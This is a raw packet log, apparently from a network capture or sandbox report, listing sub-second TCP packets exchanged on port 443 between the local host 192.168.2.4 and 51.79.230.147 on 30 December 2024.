Dec 30, 2024 19:45:14.863523960 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.863831043 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.863847017 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.863882065 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.863888025 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.863920927 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.863945007 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.864072084 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.864089966 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.864165068 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.864171982 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.864182949 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.864213943 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.868007898 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.868024111 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.868061066 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.868068933 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.868104935 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.868114948 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.868347883 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.868361950 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.868408918 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.868417025 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.868433952 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.868455887 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.871212959 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.871229887 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.871284962 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.871294022 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.871339083 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.871695042 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.949193954 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.949212074 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.949320078 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.949328899 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.949373960 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.949421883 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.949438095 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.949480057 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.949486971 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.949527025 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.950058937 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.950074911 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.950144053 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.950150967 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.950187922 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.951026917 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.951044083 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.951086044 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.951093912 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.951108932 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.951132059 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.951589108 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.951608896 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.951642990 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.951648951 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.951683044 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.951693058 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.952059984 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.955347061 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.955365896 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.955424070 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.955432892 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.955492020 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.955590010 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.955612898 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.955672026 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.955679893 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.955722094 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.956475019 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.959808111 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.959825993 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.959882021 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.959894896 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.959935904 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.036092043 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.036108971 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.036197901 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.036209106 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.036252022 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.036396980 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.036412001 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.036463976 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.036475897 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.036516905 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.037031889 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.037045956 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.037086010 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.037094116 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.037136078 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.037856102 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.037872076 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.037914038 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.037921906 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.037935019 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.037965059 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.038655043 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.038675070 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.038743973 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.038752079 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.038798094 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.042340040 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.042356968 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.042419910 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.042426109 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.042465925 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.042609930 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.042625904 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.042673111 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.042680979 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.042718887 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.047040939 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.047055006 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.047137976 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.047147036 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.047193050 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.047230005 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.123095036 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.123115063 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.123188972 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.123198986 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.123244047 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.123305082 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.123330116 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.123363018 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.123369932 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.123394012 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.123409033 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.123815060 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.123831034 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.123878956 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.123888016 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.123930931 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.124739885 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.124754906 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.124799013 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.124805927 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.124851942 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.125479937 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.125499964 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.125555992 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.125562906 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.125591993 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.125608921 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.129359007 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.129376888 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.129426956 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.129445076 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.129452944 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.129487991 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.129524946 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.133873940 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.133888960 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.133949995 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.133964062 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.268224955 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.268245935 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.268320084 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.268332958 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.269263029 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.269277096 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.269318104 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.269341946 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.269351006 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.269376040 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.271656990 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.271675110 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.271724939 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.271734953 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.271759033 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.271985054 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.271997929 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.272034883 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.272046089 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.272062063 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.272356033 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.272372007 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.272417068 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.272423983 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.272445917 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.280914068 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.280930996 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.281006098 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.281013966 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.281212091 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.281232119 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.281270981 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.281280041 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.281294107 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.282210112 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.282227039 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.282272100 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.282279968 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.282305956 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.346924067 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.423778057 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.423799038 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.423873901 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.423882961 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.423914909 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.423928976 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.423933983 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.423971891 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.424005032 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.424036026 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.424194098 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.424212933 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.424267054 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.424273968 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.424321890 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.424511909 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.424526930 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.424580097 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.424587011 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.424629927 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.424791098 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.424806118 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.424870014 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.424877882 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.424921989 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.426348925 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.443738937 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.443753958 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.443813086 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.443820953 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.443856001 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.443875074 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.444219112 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.444235086 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.444277048 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.444283009 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.444310904 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.444329977 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.444679022 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.444694042 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.444737911 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.444745064 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.444772959 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.444792032 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.510663033 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.510680914 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.510719061 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.510729074 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.510759115 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.510759115 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.510900974 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.510915041 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.510952950 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.510960102 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.510984898 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.511176109 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.511193991 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.511209011 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.511214018 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.511224985 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.511262894 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.511478901 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.511496067 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.511529922 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.511535883 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.511547089 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.511573076 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.511718988 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.511737108 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.511770010 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.511775970 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.511796951 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.511805058 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.512425900 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.529706955 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.529725075 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.529782057 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.529791117 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.529819012 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.529830933 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.530142069 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.530158043 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.530265093 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.530271053 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.530282021 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.530308008 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.530325890 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.530333996 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.530359030 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.530375957 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.597836971 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.597857952 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.597908020 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.597918987 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.597950935 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.597963095 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.598350048 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.598366022 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.598402977 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.598408937 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.598431110 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.598449945 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.598598957 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.598613977 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.598650932 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.598656893 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.598680019 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.598692894 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.598989010 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.599004030 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.599040985 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.599050045 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.599066973 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.599093914 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.599112034 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.599127054 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.599164009 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.599170923 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.599195957 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.599214077 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.600636959 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.625724077 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.625744104 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.625828028 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.625835896 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.625881910 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.625915051 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.625929117 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.625963926 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.625969887 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.625992060 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.626004934 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.626235962 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.626250029 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.626291990 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.626298904 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.626336098 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.684798002 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.684814930 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.684900999 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.684915066 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.684957027 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:15.685251951 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.685269117 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:15.685321093 CET	50050	443	192.168.2.4	51.79.230.147
